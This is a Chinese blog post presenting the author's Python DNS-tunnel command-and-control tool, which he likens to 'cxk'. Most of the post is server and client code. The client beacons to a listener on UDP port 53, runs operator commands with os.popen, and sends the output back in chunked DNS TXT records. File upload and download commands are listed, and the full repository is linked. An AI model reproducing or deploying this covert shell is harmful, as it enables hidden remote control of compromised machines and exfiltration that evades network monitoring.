一个很像cxk的dns_c2
前言
算是一个很像cxk的东西,有个BUG一直解决不了
而且还时不时的像报错。。。。emmmm
思路
五一之前在sec-wiki看到某文章
传送门:DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测
根据文章所描述的,我这个c2应该属于第一种
我在写之前上GitHub搜了一下dns shell找到了一个不错的项目
传送门:DNS_Shell
根据上面项目所用到的东西
dnslib模块 --- 处理dns包
dnspython --- 发送dns请求
当然你也可以用scapy手动构造一个dns的数据包然后在发送出去….
项目里面接收dns包的时候是用socket创建一个UDP,然后监听53端口,监听数据
获取到的数据使用dnslib,模块进行解包便可获得想要的数据
dns_shell算是个反向shell,必须由客户端发送请求。服务端回应该数据
虽然写的时候有点困难。我是实现第一种c2,使用的是TXT记录类型。TXT类型有限制数据不能大于63个字节
所以必须得分段发送
实现他
Server端
解dns包的函数
def dnsj(self,data):
dr=dnslib.DNSRecord.parse(data) #dns数据包转换
answer=dr.reply() #获取全部数据
return answer,dr.questions[0].qname.label[0] #获取请求前的dns包和指定数据
打包为dns包的函数
def dnsc(self,answer,data):
answer.add_answer(*dnslib.RR.fromZone('{}.com 60 TXT'.format(data)))
return answer
主要函数
global s,address
he = ['cmd--->命令行交互','upload--->文件上传','download--->文件下载','exit--->退出']
hps={'cmd': self.cmd,'upload':self.upload,'download':self.download,'exit':exit}
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind((self.host,int(self.port)))
data,address=s.recvfrom(1024)
print('[+] 来源IP:{},来源端口:{}'.format(address[0],address[1]))
dnsj=self.dnsj(data)
demo=self.jiemi(dnsj[1])
if demo:
print('[+] {}:{}<---->{}:{}'.format(self.host,self.port,address[0],address[1]))
print('+请执行你的操作,如果有问题请输入help')
demos=self.jiami('demo')
fs=self.dnsc(dnsj[0],demos)
s.sendto(fs.pack(),address)
while True:
xw=input('Jarvis:')
if xw in hps:
try:
hps[xw]()
except Exception as r:
print('-- Error:{}'.format(r))
elif xw=='help':
print('')
for h in he:
print(h)
else:
print('-没有这种操作')
continue
Client端
主要函数
def beikon(self):
hk={'cmd':self.cmd,'upload':self.upload,'download':self.download}
demo='demo'
demo=self.jiami(demo)
bbc=self.fs(demo)
kk=self.zz(bbc)
jm=self.jiemi(kk.encode('utf-8'))
if jm:
while True:
try:
g='ok'
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm in hk:
hk[jm]()
except:
pass
对应功能对照的函数
命令行交互
server端
def cmd(self):
self.ok('cmd')
while True:
jb, jc = s.recvfrom(1024)
dnsj = self.dnsj(jb)
demo = self.jiemi(dnsj[1])
if demo!='cmd' and demo !='long':
print(demo)
demos = self.jiami('cmd')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
elif demo=='long':
changdu=0
jg=b''
demos = self.jiami('long')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
c,d= s.recvfrom(1024)
dnsj = self.dnsj(c)
demo=self.jiemi(dnsj[1])
if str(demo).isdigit()==True:
changdu+=int(demo)
print(changdu)
demos = self.jiami('{}'.format(changdu))
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), d)
while True:
d,e = s.recvfrom(1024)
dnsj = self.dnsj(d)
jg+=dnsj[1]
if len(jg)==changdu:
jmk=self.jiemi(jg)
print(jmk)
fs = self.dnsc(dnsj[0], 'break')
s.sendto(fs.pack(), e)
break
demos = self.jiami('jx')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), e)
else:
shell=input('Jarvis_shell:')
if shell=='exit':
demos = self.jiami('exit')
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
break
demos = self.jiami(shell)
fs = self.dnsc(dnsj[0], demos)
s.sendto(fs.pack(), jc)
client端
def cmd(self):
while True:
g='cmd'
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm == 'exit':
break
else:
zx=os.popen(jm)
if zx:
g=zx.read()
demos = self.jiami(g)
if len(demos)<64:
if len(demos)==0:
demos=self.jiami(jm)
bbc = self.fs(demos)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm:
continue
else:
g='long'
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm:
g = len(demos)
demo = self.jiami(g)
bbc = self.fs(demo)
kk = self.zz(bbc)
jm = self.jiemi(kk.encode('utf-8'))
if jm:
b=0
e=32
for u in demos:
g=demos[b:e]
b+=32
e+=32
bbc=self.fs(g)
kk = self.zz(bbc)
if kk=='break':
break
仓库地址:https://github.com/422926799/python/tree/master/dns_c2
测试截图
抓包截图
转载请声明:转自422926799.github.io
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:一个很像cxk的dns_c2
本文作者:九世
发布时间:2019-05-02, 21:11:11
最后更新:2019-05-02, 23:14:50
原始链接:http://jiushill.github.io/posts/126651c2.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。